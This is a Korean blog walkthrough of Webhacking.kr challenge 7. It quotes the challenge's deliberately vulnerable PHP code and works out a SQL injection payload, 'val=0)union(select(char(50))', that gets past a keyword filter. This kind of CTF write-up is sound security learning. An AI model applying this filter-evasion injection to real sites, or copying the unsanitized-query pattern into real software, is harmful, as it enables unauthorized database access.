auth 버튼이 있고 소스코드를 확인할 수 있다.
auth버튼을 누르면 Access_Denied!가 뜬다.
[소스코드]
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
풀이 조건부터 보자.
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
$data[0]이 2가 되면 문제를 해결할 수 있다.
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
rand함수로 1부터 5까지 무작위로 나오는 값에 따라 if문이 실행된다. 5개 조건중에 하나만 맞추고 여러 번 실행하면 된다. 1에 맞춰서 우회해보자.
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
필터링 : 2 - + from _ = (공백) * \
2를 우회해보자.
ascii : 50
2진수 : 0b110010
16진수는 0x32인데 2가 필터링되므로 사용하지 못한다.
val=char(50)을 입력하면 다음과 같이 query error가 뜬다.
괄호를 우회하지 않아서 그렇다.
union과 select를 사용해보자.
val=0)union(select(char(50)))
새로고침을 여러 번 했는데 nice try!만 뜨고 안풀린다.
)로 앞의 괄호를 닫아줬으니 뒤에 있는 )을 생각해서 괄호를 하나 빼줬어야 했는데 안해서 그런거였다.
val=0)union(select(char(50))
다시 새로고침을 몇 번 눌렀더니 문제가 풀렸다.
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-60 (Challenge 60) (0) | 2021.11.21 |
---|---|
[Webhacking.kr] old-11 / Challenge 11 (0) | 2021.11.07 |
[Webhacking.kr] old-53 / Challenge 53 (0) | 2021.11.07 |
[Webhacking.kr] old-38 / Challenge 38 (0) | 2021.10.10 |
[Webhakcing.kr] old-32 / Challenge 32 (0) | 2021.10.10 |